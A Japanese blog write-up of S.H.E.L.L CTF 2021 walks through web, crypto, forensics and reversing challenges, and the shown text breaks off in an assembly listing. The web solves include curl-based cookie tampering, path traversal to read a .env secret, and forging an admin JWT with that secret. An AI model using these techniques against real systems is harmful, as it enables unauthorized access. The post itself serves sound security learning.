TSALVIA技術メモ

CTFのWriteupや気になったツールについて書いていきます。また、このサイトはGoogle Analyticsを利用しています。

S.H.E.L.L CTF 2021 Writeup

S.H.E.L.L CTF 2021 について

S.H.E.L.L CTF 2021 が開催されました。
2021年6月5日午後15時30分 ~ 2021年6月7日午後15時30分(48時間)

ctftime.org

今回も2人で参加しました。結果は 22/533位、3551点でした。
実際に2人で解いた問題の Writeup を紹介します。

f:id:tsalvia:20210609004003p:plain

S.H.E.L.L CTF 2021 Writeup(16問)

Web Security

anonym

Anonymous are back and they really hate robots.
http://3.142.122.1:8887

http://3.142.122.1:8887/robots.txt

User-agent: *
Disallow: /yfhdgvs.txt

http://3.142.122.1:8887/yfhdgvs.txt にアクセスするとフラグが表示された。

SHELL{n0_ro80t5_4llow3d_50886509749a98ef14ec2bc45c57958e}

Under Development

http://3.142.122.1:8885/

http://3.142.122.1:8885/ にアクセスすると、以下のように表示される

This web app is still under development.

curl から確認すると、Cookie が送られてきているのが分かる。

$ curl http://3.142.122.1:8885/ -v
*   Trying 3.142.122.1:8885...
* TCP_NODELAY set
* Connected to 3.142.122.1 (3.142.122.1) port 8885 (#0)
> GET / HTTP/1.1
> Host: 3.142.122.1:8885
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Set-Cookie: privilege=dXNlcg%3D%3D; Path=/
< Accept-Ranges: bytes
< Cache-Control: public, max-age=0
< Last-Modified: Sun, 30 May 2021 06:01:58 GMT
< ETag: W/"15b-179bbdd5ff0"
< Content-Type: text/html; charset=UTF-8
< Content-Length: 347
< Date: Sun, 06 Jun 2021 08:29:44 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Web App Home Page</title>
</head>
<body>
    <div> This web app is still under development. </div>
    <!--TODO: Develop auth, buy some cookies from the supermarket-->
</body>
* Connection #0 to host 3.142.122.1 left intact

dXNlcg%3D%3D を URLデコード、Base64デコードすると user になる。
adminBase64エンコード、URLエンコードすると YWRtaW4%3D になる。

privilege=YWRtaW4%3DCookie 設定してアクセスすると、フラグが表示される。

f:id:tsalvia:20210608234255p:plain

SHELL{0NLY_0R30_8e1a91a632ecaf2dd6026c943eb3ed1e}

Fun with Tokens

I have got secret information that this webapp is vulnerable. Did i fail in verifying passwords ?
http://3.142.122.1:9334/

f:id:tsalvia:20210608235155p:plain

マウスの中ボタンで、Admins にアクセスすると、ユーザ一覧がダウンロードされる。

0xd4127c3c
din_djarin11

Login にアクセスするとログインページが表示される。

f:id:tsalvia:20210608235242p:plain

Admins( http://3.142.122.1:9334/adminNames )に curl でアクセスすると、getFile にリダイレクトされているのが分かる。

$ curl http://3.142.122.1:9334/adminNames
Found. Redirecting to /getFile?file=admins

file パラメータを指定することで任意のファイルをダウンロードすることができる(ただし7文字制限がある)。

$ curl http://3.142.122.1:9334/getFile?file=1234567
No such file or directory: /app/public/1234567
$ curl http://3.142.122.1:9334/getFile?file=12345678
File name too big!

../.env を指定すると、secret=G00D_s0ld13rs_k33p_s3cret5 を取得することができる。

$ curl http://3.142.122.1:9334/getFile?file=../.env
secret=G00D_s0ld13rs_k33p_s3cret5

次に login ページについて調べてみると、POST でアクセスしたときに、token ヘッダがセットされていることが判明した。

token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhcXJzdmFycSIsInBhc3N3b3JkIjoiaGFxcnN2YXJxIiwiYWRtaW4iOiJzbnlmciIsImlhdCI6MTYyMjk3MDM4MX0.WXHAuQBY8bErkjr4QWwNu8raiIL7rjwJV9vUxCGOIKA
$ curl http://3.142.122.1:9334/login -X POST -v
*   Trying 3.142.122.1:9334...
* TCP_NODELAY set
* Connected to 3.142.122.1 (3.142.122.1) port 9334 (#0)
> POST /login HTTP/1.1
> Host: 3.142.122.1:9334
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< X-Powered-By: Express
< token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhhcXJzdmFycSIsInBhc3N3b3JkIjoiaGFxcnN2YXJxIiwiYWRtaW4iOiJzbnlmciIsImlhdCI6MTYyMjk3MDM4MX0.WXHAuQBY8bErkjr4QWwNu8raiIL7rjwJV9vUxCGOIKA
< Accept-Ranges: bytes
< Cache-Control: public, max-age=0
< Last-Modified: Wed, 12 May 2021 11:19:24 GMT
< ETag: W/"2f7-179604d8660"
< Content-Type: text/html; charset=UTF-8
< Content-Length: 759
< Date: Sun, 06 Jun 2021 09:06:21 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
<
<!DOCTYPE html>
<html>
<head>
<title>Token Fun</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1" shrink-to-fit="no">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<script type="text/javascript" src="/static/scripts/jquery-3.2.1.min.js"></script>
<script type="text/javascript" src="/static/scripts/plugin-active.js"></script>
</head>
<body>
  <h2>Have Fun With Tokens</h2>
  <header>
  <nav id="sidebar-wrapper">
    <ul class="sidebar-nav">
      <li class="sidebar-nav-item">
        <a class="smooth-scroll" href="/adminNames">Admins</a>
      </li>
      <li class="sidebar-nav-item">
        <a class="smooth-scroll" href="/login">Login</a>
      </li>
    </ul>
  </nav>
</header>
</body>
* Connection #0 to host 3.142.122.1 left intact

Base64デコードすると、JWT のトークンであることが分かった。

{"alg":"HS256","typ":"JWT"}{"username":"haqrsvarq","password":"haqrsvarq","admin":"snyfr","iat":1622970381}

../.env から secret の値が判明しているので、jwt.io で任意の値に書き換えることができる。

jwt.io で以下のパラメータのトークンを生成する。

username: ROT13(din_djarin11)
password: ROT13(ir0nm4n)
admin: ROT13(true)

f:id:tsalvia:20210608235511p:plain

Authorization ヘッダに以下を設定して、http://3.142.122.1:9334/admin にアクセスする

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InF2YV9xd25ldmExMSIsInBhc3N3b3JkIjoidmUwYXo0YSIsImFkbWluIjoiZ2VociIsImlhdCI6MTYyMjk3MDM4MX0.6FdyWpGljviqcRVktVLr7gG2CxbiVTHkhFV-OQ0NrY8

f:id:tsalvia:20210608235631p:plain

アクセスすると以下のように返ってくる。

Hey din_djarin11! Here's your flag: FURYY{G0x3af_q0_z4gg3e_4r91ns4506s384q460s0s0p6r9r5sr4n}

FURYY{G0x3af_q0_z4gg3e_4r91ns4506s384q460s0s0p6r9r5sr4n} を ROT13 するとフラグになった。

SHELL{T0k3ns_d0_m4tt3r_4e91af4506f384d460f0f0c6e9e5fe4a}

Forensics

Grass is green

左上の方に書いてあった。左ローテート 3回 が一番見やすい。

f:id:tsalvia:20210609002036p:plain

SHELL{LonELY_Im_MR.lONely_YOU_are_MY_loVE}

Cryptography

encoder

can you decrypt this text : "ZOLSS{W1G_D3HY_4_T45R}"

NOTE: do not shift the numbers and the special charecters( '{' , '}' , '_' ).

CyberChef の ROT13 でずらすだけ(Amount を19にしたらフラグになった)

ZOLSS{W1G_D3HY_4_T45R}
↓
SHELL{P1Z_W3AR_4_M45K}

SHELL{P1Z_W3AR_4_M45K}

EASY-RSA

n = 1763350599372172240188600248087473321738860115540927328389207609428163138985769311
e = 65537
c = 33475248111421194902497742876885935310304862428980875522333303840565113662943528

factordb で n の素因数分解ができた

from Crypto.Util.number import long_to_bytes
from gmpy2 import invert as inverse

def main():
    n = 1763350599372172240188600248087473321738860115540927328389207609428163138985769311
    e = 65537
    c = 33475248111421194902497742876885935310304862428980875522333303840565113662943528

    p = 31415926535897932384626433832795028841
    q = 56129192858827520816193436882886842322337671

    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)

    m = pow(c, d, n)
    flag = long_to_bytes(m).decode()
    print(flag)

if __name__ == '__main__':
    main()
$ python3 solve.py 
shell{switchin_to_asymmetric}

shell{switchin_to_asymmetric}

Algoric-Shift

ciphered text : HESL{LRAT5PN51010T_CNPH1R}3

Try decrypting:

012345678 を暗号化したところ、120453786 になった。

暗号化されたフラグも同じようにずらすと、答えになった。

enc_flag = 'HESL{LRAT5PN51010T_CNPH1R}3'
flag = ['A'] * len(enc_flag)
for i, ch in enumerate(enc_flag):
    if i % 3 == 0:
        flag[i + 1] = ch
    elif i % 3 == 1:
        flag[i + 1] = ch
    elif i % 3 == 2:
        flag[i - 2] = ch

print(''.join(flag))
$ python3 solve.py 
SHELL{TRAN5P051T10N_C1PH3R}

SHELL{TRAN5P051T10N_C1PH3R}

haxxor

Encrypted string : 0x2-0x19-0x14-0x1d-0x1d-0x2a-0x9-0x61-0x3-0x62-0x15-0xe-0x60-0x5-0xe-0x19-0x4-0x19-0x2c
key

CyberChef で 16進数をバイナリに変えて、XOR Brute Force したら解けた。

SHELL{0R3D_1T_HUH}

BruteforceRSA

Flag Format : shellctf{}

EASY-RSA とほぼ同じ
factordb で n を素因数分解することができた

from Crypto.Util.number import long_to_bytes
from gmpy2 import invert as inverse

def main():
    n = 105340920728399121621249827556031721254229602066119262228636988097856120194803
    e = 65537
    c = 36189757403806675821644824080265645760864433613971142663156046962681317223254

    p = 320163545884759912335372936276795190799
    q = 329022220307104142121947724162904472797

    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)

    m = pow(c, d, n)
    flag = long_to_bytes(m).decode()
    print(flag)

if __name__ == '__main__':
    main()
$ python3 solve.py 
shellctf{k3y_s1ze_m@tter$}

shellctf{k3y_s1ze_m@tter$}

arc-cipher

cipher_text : a7 f9 de 54 29 92 7f 61 9a 7a 5f f3 f4 1a 88 a1 8f ca 97 47

ソースコードを眺めたところ、処理の流れが RC4 のように見える。
key = "MANGEKYOU" と書かれているので、 CyberChefRC4 で復号したところフラグになった。

SHELL{S4SKU3_UCH1H4}

PowerRSA

Something's not quite secure.
nc 34.92.214.217 8887
Flag format : shell{}

netcat で接続すると、以下のように出力される。

$ nc 34.92.214.217 8887
Public Key =
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAnFjkilLnvEYoBkGhiN+f
OalnbBDUSJHQGJz1U11rklrc9AMfFW5fgXcTfboKeUlCdW4gA25uFEHxumwsTkQ2
UT6P07Iw0gdkxesf/fIHitVq8wPIJQMXzdB1EhZSFLt6oX9eu1LniUdMF9sJNSzJ
luzjiQDoXgAE2OD2YAjMMP7hrXBtvqi5VTPDb8ueBPUwGH8sZ8WBeGXhqHSp59XK
WXM3ODltQYaQnNlgxYnKugxTW8jQphABkTksil68sZ1i3SJn76fT2sGxrPvfW+I6
NWs3F+DOkGWD41yd3BUW6ze/7KeeQJJzVI/hsNt/7DMKW0mVdPMIYm/LqNh3tRjl
81WrnhLSBy+8GP8UWdVAiuqLTvPUTrdIqH22jgjJ7CVp2KcvCTkFPfhzdYC5keiH
z53sbP4fKBvvP5ZHNtwp2gGBdA1og1wCp/gzgJsBUtuMZ5ELI3zk+2ugC2j0yqSY
6EVEouNkUJ1Zjlh8+bYAN7gguDxs70Hq1e9pXKsJUcjCMyEfUTQpfJWPtxr1dOLV
+cHVOowvECA5VD1bOB2ZcK2/FbvLsqVyULSx5CUNFzhbPFomPRngYur39HAC+OEq
CND/BzJozGxcxMdh5L5MW/c0xeC8hR9+3GSNc8hf6+eS0LW5CufPBExN6i9GE9Nn
DoHbPc4/xfw5raCR1ybfMaUCAwEAAQ==
-----END PUBLIC KEY-----
Encrypted Flag = 0x9abaf94cbc5f07e0b13c1b9ec5f94a87762f370d8d89384333ed791f21f1568f9b018894350cb435cd76c1744b24ec1b6d009e5e0164c0d3826b41178f458329bb92e4fb789a14438ad649db7b25e3a64d4130f4cf9729673096ecf869da15da89956a245105c677060f5b6e973739318b51d3a62d812384f3d1fa32dbf70a6725d11b1f16fadc8d6d20e793ee55bccae492f4d6212937238780e4b2bd059794ff967cb3acef0b89d7a34a4897a622e9eeccd9de3f30a39b74debcea3a89aaa770e90f17f143bb55d2952d9ca0c90f9cda0d5243e4dfef38bd8fdd64a6a2442b5862b84cad8a69feec12e3266079d4b6b2e8350eacacf59c3bf448cb5eb0efbccfbf4064ada1742e4a17b5ee87fa7dac8d4bbd34b4f0bf82b2bbd84cf88e5f89df453cea1ac97de245cd3c25d59f10192fc6ae44c3654581efd5b98151929efb38f99c51dd7b024afd41eead27e1235010b923d1879b013b2e5242aae392a5edb9d5d3e381d7466db6bf4011c2dd569a871391c1fbed9591428750339ec9bdccd45da2f631dc00961d3702a9999e64a417b0ddca7316318bcf681837838b1716bbbfbcb5d2b71a3b17a014391124536e9c9cbfafff1e9dfe5393d89fb96a678876935a26c3b13697f963ac12aa4ffe3f42c8cb597980b6c9099c8f6ebe8a48b74e08d082b7042dcca822dec429b2536ff91c2391ef0d791e4e29559321a65005

pycryptodome で公開鍵から n と e を抽出する

from Crypto.PublicKey import RSA

Public_Key = '''-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAnFjkilLnvEYoBkGhiN+f
OalnbBDUSJHQGJz1U11rklrc9AMfFW5fgXcTfboKeUlCdW4gA25uFEHxumwsTkQ2
UT6P07Iw0gdkxesf/fIHitVq8wPIJQMXzdB1EhZSFLt6oX9eu1LniUdMF9sJNSzJ
luzjiQDoXgAE2OD2YAjMMP7hrXBtvqi5VTPDb8ueBPUwGH8sZ8WBeGXhqHSp59XK
WXM3ODltQYaQnNlgxYnKugxTW8jQphABkTksil68sZ1i3SJn76fT2sGxrPvfW+I6
NWs3F+DOkGWD41yd3BUW6ze/7KeeQJJzVI/hsNt/7DMKW0mVdPMIYm/LqNh3tRjl
81WrnhLSBy+8GP8UWdVAiuqLTvPUTrdIqH22jgjJ7CVp2KcvCTkFPfhzdYC5keiH
z53sbP4fKBvvP5ZHNtwp2gGBdA1og1wCp/gzgJsBUtuMZ5ELI3zk+2ugC2j0yqSY
6EVEouNkUJ1Zjlh8+bYAN7gguDxs70Hq1e9pXKsJUcjCMyEfUTQpfJWPtxr1dOLV
+cHVOowvECA5VD1bOB2ZcK2/FbvLsqVyULSx5CUNFzhbPFomPRngYur39HAC+OEq
CND/BzJozGxcxMdh5L5MW/c0xeC8hR9+3GSNc8hf6+eS0LW5CufPBExN6i9GE9Nn
DoHbPc4/xfw5raCR1ybfMaUCAwEAAQ==
-----END PUBLIC KEY-----
'''

pubkey = RSA.importKey(Public_Key)
n = pubkey.n
e = pubkey.e
print('n =', n)
print('e =', e)
$ python3 parse_pubkey.py 
n = 637841078992790835162545469329286530272453544342014802413597802255455496383858337924100110894825758687742970070140170785519206224630196349340549159337859732155342647130667548491652536947418385282076081984301752395655278215274259123898531671510789372362087349190364138996395578694586775529335851081731263453238371544442231281408093208699332288138176380310125175184687443029417533001256037026948427362538182059007191165567038326351969506872408506354661232212244475008472119449944792126849713522156550842675061105463960659819569962889921953362608357370828586021370417408323866857981604016606499919020183769327897556407373881595472745700109475532395362055670005654465211949314614879870197726608273956267681241743966137146509495969974344430418089421168025779353639144082792724012236160587200227207172077968516293910782112806207821695565415445532782299158854563664952628404958937676655675829009891291081576726313965161971921934750422762092011795688420749476439187024347242499451319625109180867193919793070069304519572570570958349852522819925068591846496549213271394277576064058826488463389848830708699321727950412058117677125314200037419029032333822195659635417762704928585120467356964106252076606924158430797000011931920242350443712164261
e = 65537

primefac で素因数分解することができた

$ python3 -m primefac 637841078992790835162545469329286530272453544342014802413597802255455496383858337924100110894825758687742970070140170785519206224630196349340549159337859732155342647130667548491652536947418385282076081984301752395655278215274259123898531671510789372362087349190364138996395578694586775529335851081731263453238371544442231281408093208699332288138176380310125175184687443029417533001256037026948427362538182059007191165567038326351969506872408506354661232212244475008472119449944792126849713522156550842675061105463960659819569962889921953362608357370828586021370417408323866857981604016606499919020183769327897556407373881595472745700109475532395362055670005654465211949314614879870197726608273956267681241743966137146509495969974344430418089421168025779353639144082792724012236160587200227207172077968516293910782112806207821695565415445532782299158854563664952628404958937676655675829009891291081576726313965161971921934750422762092011795688420749476439187024347242499451319625109180867193919793070069304519572570570958349852522819925068591846496549213271394277576064058826488463389848830708699321727950412058117677125314200037419029032333822195659635417762704928585120467356964106252076606924158430797000011931920242350443712164261 | tr " " "\n"
637841078992790835162545469329286530272453544342014802413597802255455496383858337924100110894825758687742970070140170785519206224630196349340549159337859732155342647130667548491652536947418385282076081984301752395655278215274259123898531671510789372362087349190364138996395578694586775529335851081731263453238371544442231281408093208699332288138176380310125175184687443029417533001256037026948427362538182059007191165567038326351969506872408506354661232212244475008472119449944792126849713522156550842675061105463960659819569962889921953362608357370828586021370417408323866857981604016606499919020183769327897556407373881595472745700109475532395362055670005654465211949314614879870197726608273956267681241743966137146509495969974344430418089421168025779353639144082792724012236160587200227207172077968516293910782112806207821695565415445532782299158854563664952628404958937676655675829009891291081576726313965161971921934750422762092011795688420749476439187024347242499451319625109180867193919793070069304519572570570958349852522819925068591846496549213271394277576064058826488463389848830708699321727950412058117677125314200037419029032333822195659635417762704928585120467356964106252076606924158430797000011931920242350443712164261:
25255515813239507763038062828274158627213964434029360904034727073162480467501868620594875271406697596582062082030719426102268108365309215478740590990739956475214624378921033040164759679974055502626733711927304275524439772587558381820090424873221156649284685808198239733036647123384574595128095097153189572862865480492169399362806888349281817251809351266887599224507263437892651698930452700855288299116088269580309088746754202183303286426347035665905704798986062966226378809924474951727247346766929468429520066529091912983937452710041692649223542369490578218174897197410658728019724342448189448085925342097828513356033
25255515813239507763038062828274158627213964434029360904034727073162480467501868620594875271406697596582062082030719426102268108365309215478740590990739956475214624378921033040164759679974055502626733711927304275524439772587558381820090424873221156649284685808198239733036647123384574595128095097153189572862865480492169399362806888349281817251809351266887599224507263437892651698930452700855288299116088269580309088746754202183303286426347035665905704798986062966226378809924474951727247346766929468429520066529091912983937452710041692649223542369490578218174897197410658728019724342448189448085925342097828513354917

p、q が判明したので、後は復号する。 復号後なぜか\x00 が1文字毎に挿入されていたので、replace で除去した

from Crypto.Util.number import long_to_bytes
from gmpy2 import invert as inverse

c = 0x9abaf94cbc5f07e0b13c1b9ec5f94a87762f370d8d89384333ed791f21f1568f9b018894350cb435cd76c1744b24ec1b6d009e5e0164c0d3826b41178f458329bb92e4fb789a14438ad649db7b25e3a64d4130f4cf9729673096ecf869da15da89956a245105c677060f5b6e973739318b51d3a62d812384f3d1fa32dbf70a6725d11b1f16fadc8d6d20e793ee55bccae492f4d6212937238780e4b2bd059794ff967cb3acef0b89d7a34a4897a622e9eeccd9de3f30a39b74debcea3a89aaa770e90f17f143bb55d2952d9ca0c90f9cda0d5243e4dfef38bd8fdd64a6a2442b5862b84cad8a69feec12e3266079d4b6b2e8350eacacf59c3bf448cb5eb0efbccfbf4064ada1742e4a17b5ee87fa7dac8d4bbd34b4f0bf82b2bbd84cf88e5f89df453cea1ac97de245cd3c25d59f10192fc6ae44c3654581efd5b98151929efb38f99c51dd7b024afd41eead27e1235010b923d1879b013b2e5242aae392a5edb9d5d3e381d7466db6bf4011c2dd569a871391c1fbed9591428750339ec9bdccd45da2f631dc00961d3702a9999e64a417b0ddca7316318bcf681837838b1716bbbfbcb5d2b71a3b17a014391124536e9c9cbfafff1e9dfe5393d89fb96a678876935a26c3b13697f963ac12aa4ffe3f42c8cb597980b6c9099c8f6ebe8a48b74e08d082b7042dcca822dec429b2536ff91c2391ef0d791e4e29559321a65005
n = 637841078992790835162545469329286530272453544342014802413597802255455496383858337924100110894825758687742970070140170785519206224630196349340549159337859732155342647130667548491652536947418385282076081984301752395655278215274259123898531671510789372362087349190364138996395578694586775529335851081731263453238371544442231281408093208699332288138176380310125175184687443029417533001256037026948427362538182059007191165567038326351969506872408506354661232212244475008472119449944792126849713522156550842675061105463960659819569962889921953362608357370828586021370417408323866857981604016606499919020183769327897556407373881595472745700109475532395362055670005654465211949314614879870197726608273956267681241743966137146509495969974344430418089421168025779353639144082792724012236160587200227207172077968516293910782112806207821695565415445532782299158854563664952628404958937676655675829009891291081576726313965161971921934750422762092011795688420749476439187024347242499451319625109180867193919793070069304519572570570958349852522819925068591846496549213271394277576064058826488463389848830708699321727950412058117677125314200037419029032333822195659635417762704928585120467356964106252076606924158430797000011931920242350443712164261
e = 65537
p = 25255515813239507763038062828274158627213964434029360904034727073162480467501868620594875271406697596582062082030719426102268108365309215478740590990739956475214624378921033040164759679974055502626733711927304275524439772587558381820090424873221156649284685808198239733036647123384574595128095097153189572862865480492169399362806888349281817251809351266887599224507263437892651698930452700855288299116088269580309088746754202183303286426347035665905704798986062966226378809924474951727247346766929468429520066529091912983937452710041692649223542369490578218174897197410658728019724342448189448085925342097828513356033
q = 25255515813239507763038062828274158627213964434029360904034727073162480467501868620594875271406697596582062082030719426102268108365309215478740590990739956475214624378921033040164759679974055502626733711927304275524439772587558381820090424873221156649284685808198239733036647123384574595128095097153189572862865480492169399362806888349281817251809351266887599224507263437892651698930452700855288299116088269580309088746754202183303286426347035665905704798986062966226378809924474951727247346766929468429520066529091912983937452710041692649223542369490578218174897197410658728019724342448189448085925342097828513354917

phi = (p - 1) * (q - 1)
d = inverse(e, phi)

m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)

flag = long_to_bytes(m).replace(b'\x00', b'')
print(flag)
$ python3 solve.py 
b'\xff\xfes\x00h\x00e\x00l\x00l\x00{\x00e\x00n\x00t\x00r\x000\x00p\x00y\x00_\x001\x00s\x00_\x00t\x00h\x003\x00_\x00k\x003\x00y\x00_\x00L\x009\x00m\x00l\x00I\x00s\x00T\x00t\x00B\x005\x005\x007\x00I\x00/\x00N\x00h\x004\x00g\x00q\x00L\x008\x007\x00M\x00x\x00c\x00u\x00g\x00L\x00I\x00f\x00Z\x00I\x00}\x00'
b'\xff\xfeshell{entr0py_1s_th3_k3y_L9mlIsTtB557I/Nh4gqL87MxcugLIfZI}'

shell{entr0py_1s_th3_k3y_L9mlIsTtB557I/Nh4gqL87MxcugLIfZI}

Puny Factors

They are puny but in prime shape. nc 34.92.214.217 8889 Flag format : shellctf{}

netcat で接続すると、以下のように表示される。

$ nc 34.92.214.217 8889
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxaU4leBa2MT6B0WADbE8
jFqN2IEM/p+qxj8EuGhWWRpAG1W8XVyDPts3HqEeklMC1zKUHfZkVvfEMBMYx6D2
H0w4rP4tHVvplx8sszmbjGJK1OQ6Cgym0OgJhp2C7yVQuZ7QpeZvfaZcaV1sLsbR
JGIHy9qZsljSdQG/71bFcbdgS9/Y60ij/I5OcQYe1pcbKEt+3Jyc9wgkykSlABeG
X3B/RP66Qg7XsbsEVs8OoeC5UOAcCxdw5YzchnBs9hWXlx8hpQAaPHwM3j8hgGqn
6JFFm+5rHT3xVYyifrqm0kaVVm4L60TmFmRHwsTPakfpLHOQM8ASuYQBitaISpU+
4mmC2rGBiWeqMxsq3asaSjJ32JlzA3GITivDXdcNbjrqX1ZsFlyuF1idLfC8UXbb
JgERaBXLcrnl1dMy2Bl5hrlC58gkparR2c+NpSo8T7FtobmkAokYkhRZQY596ROw
KPVG+JCN0hL2ZvQN2iJpDBJB6ImjzY5wPMwyGoVz3bvSMcgNKi0/Qdqljpv6qA+V
vq+15+W0/cxqjh+QjkMn3BgRIkDK7ygKqZ0SPyhRf5OU13HzQIM7K3WiJ4++djlV
WG35V49Z0s5VSX9XXdPKycHtskbF+9EiWVz2ybEOlLQIlFwNpncTXIwURx7oZmZK
ka8CKEn8bx09w2Po46ZBr60CAwEAAQ==
-----END PUBLIC KEY-----
c =  438395558321802376695013003313784436235704703002392605244852764168767184506614623093268402587251449238807252770826638966441343734361031775909064902412369157476271347375869878748776974708581636868685316149901187009984658083187562067610964204199634367595947219927439997992175667473381871870314474809031366658566941872295143159754037171679918076468984827127418354017260513729376018940367629412638465884738457960959569335194549372776259319313648101467969801808044124374298254699141434049425641809087635488037466829669425408634461670500011704846620869207074536532440624220697740433653152604313703845558191829595799233518882273713255972365513474592829792818745305748195183129328284527354571526078862436962266887466691930471409479661998628116563398920377814760591929579435495855596276638076921011788488053093957853190979923665081548247298037427484357045652524762103011499409034776197814122579488081835320260111429856439309600201073151342710498710025976763226000164357553790388296731324122983981774873301563515923930248888243927772720898745512877359932579119401609119237628164232730827022375275310136688704632300367157756436280865250792675945890203659137435951276788489488197627512087945495989829784649107367854328056974493200378381420588495

secret.py を見ると、同じ素数が使いまわされていることが分かる。

from Crypto.Util.number import getPrime,inverse,long_to_bytes,bytes_to_long
from Crypto.PublicKey import RSA
flag = "shellctf{something_here}"

n = getPrime(4096)
e = 65537
phi = (n-1)*(n-1)
d = inverse(e,phi)

encrypted_flag = pow(bytes_to_long(flag.encode()),e,n)

decrypted_flag = long_to_bytes(pow(encrypted_flag,d,n)).decode()

assert decrypted_flag == flag 
print(RSA.construct((n,e)).publickey().exportKey().decode())
print("c = ",encrypted_flag)

素数が使いまわされているので、後はRSAの復号をすればいい

from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes
from gmpy2 import invert as inverse

Public_Key = '''-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAxaU4leBa2MT6B0WADbE8
jFqN2IEM/p+qxj8EuGhWWRpAG1W8XVyDPts3HqEeklMC1zKUHfZkVvfEMBMYx6D2
H0w4rP4tHVvplx8sszmbjGJK1OQ6Cgym0OgJhp2C7yVQuZ7QpeZvfaZcaV1sLsbR
JGIHy9qZsljSdQG/71bFcbdgS9/Y60ij/I5OcQYe1pcbKEt+3Jyc9wgkykSlABeG
X3B/RP66Qg7XsbsEVs8OoeC5UOAcCxdw5YzchnBs9hWXlx8hpQAaPHwM3j8hgGqn
6JFFm+5rHT3xVYyifrqm0kaVVm4L60TmFmRHwsTPakfpLHOQM8ASuYQBitaISpU+
4mmC2rGBiWeqMxsq3asaSjJ32JlzA3GITivDXdcNbjrqX1ZsFlyuF1idLfC8UXbb
JgERaBXLcrnl1dMy2Bl5hrlC58gkparR2c+NpSo8T7FtobmkAokYkhRZQY596ROw
KPVG+JCN0hL2ZvQN2iJpDBJB6ImjzY5wPMwyGoVz3bvSMcgNKi0/Qdqljpv6qA+V
vq+15+W0/cxqjh+QjkMn3BgRIkDK7ygKqZ0SPyhRf5OU13HzQIM7K3WiJ4++djlV
WG35V49Z0s5VSX9XXdPKycHtskbF+9EiWVz2ybEOlLQIlFwNpncTXIwURx7oZmZK
ka8CKEn8bx09w2Po46ZBr60CAwEAAQ==
-----END PUBLIC KEY-----
'''

c =  438395558321802376695013003313784436235704703002392605244852764168767184506614623093268402587251449238807252770826638966441343734361031775909064902412369157476271347375869878748776974708581636868685316149901187009984658083187562067610964204199634367595947219927439997992175667473381871870314474809031366658566941872295143159754037171679918076468984827127418354017260513729376018940367629412638465884738457960959569335194549372776259319313648101467969801808044124374298254699141434049425641809087635488037466829669425408634461670500011704846620869207074536532440624220697740433653152604313703845558191829595799233518882273713255972365513474592829792818745305748195183129328284527354571526078862436962266887466691930471409479661998628116563398920377814760591929579435495855596276638076921011788488053093957853190979923665081548247298037427484357045652524762103011499409034776197814122579488081835320260111429856439309600201073151342710498710025976763226000164357553790388296731324122983981774873301563515923930248888243927772720898745512877359932579119401609119237628164232730827022375275310136688704632300367157756436280865250792675945890203659137435951276788489488197627512087945495989829784649107367854328056974493200378381420588495

pubkey = RSA.importKey(Public_Key)
n = pubkey.n
e = pubkey.e
print('n =', n)
print('e =', e)

phi = (n - 1) * (n - 1)
d = inverse(e, phi)

m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)
$ python3 solve.py 
n = 806322861959466701153514038406844914182747166526080174736377745980674716555725490766681626566043260120682420824868316073396193362024390882335257412908771260474999293600579643566945319121804919248085997351874345676354857857473972441213476065150452838875886310619849512131643027898342627365324026643353428537966743511944890323985000437263222895323134128886261937664266641786948992154750838925176256901473951899992747314057821755750767765921813337477401428299930796289513819123483301575486653685410079033342921477046607347574015919073398381186977747632247430259320202090705384479548812641905890180605594681315462030742848212919660851496105019984550250720921757164494470361359677529849562445217451452922533777111776869196499200919028160236378681085893920603211789942740561879638297743748843688531008344335704670403176671115854092649447384217365867958751615695214609518308424284147963214012037545924281629303027548754921764283248415629573081634574841296056069843776605858111240669604239915340117392644408645985430125771656667240533495686447938802050067631495819226425234737491534813467389171120350672423761879255192205553213889378836118407685268753162887278988365476406089806561499511763794595103444629455631049585792307726958751832453037
e = 65537
b'shellctf{pr1m3s_ar3_sup3r_int3re$tinG}'

shellctf{pr1m3s_ar3_sup3r_int3re$tinG}

Reverse Engineering

check_flag

Was cleaning the junk out of my PC, when I found this really old executable. Help me look for the flag.

strings するだけ

$ strings checkflag.exe | grep SHELL
SHELL{bas1c_r3v}

SHELL{bas1c_r3v}

assembly

fun1(0x74,0x6f) + fun1(0x62,0x69) = ?
Note : submit flag in hexadecimal format and wrap it in SHELL{ & }.

以下のように書かれたファイルが与えられている。

fun1:
    <+0>: push   ebp
    <+1>:    mov    ebp,esp
    <+3>:    sub    esp,0x10
    <+6>:    mov    eax,DWORD PTR [ebp+0xc]
    <+9>:    mov    DWORD PTR [ebp-0x4],eax
    <+12>:   mov    eax,DWORD PTR [ebp+0x8]
    <+15>:   mov    DWORD PTR [ebp-0x8],eax
    <+18>:   jmp    <fun1+28>
    <+20>:   add    DWORD PTR [ebp-0x4],0x7
    <+24>:   add    DWORD PTR [ebp-0x8],0x70
    <+28>:   cmp    DWORD PTR [ebp-0x8],0x227
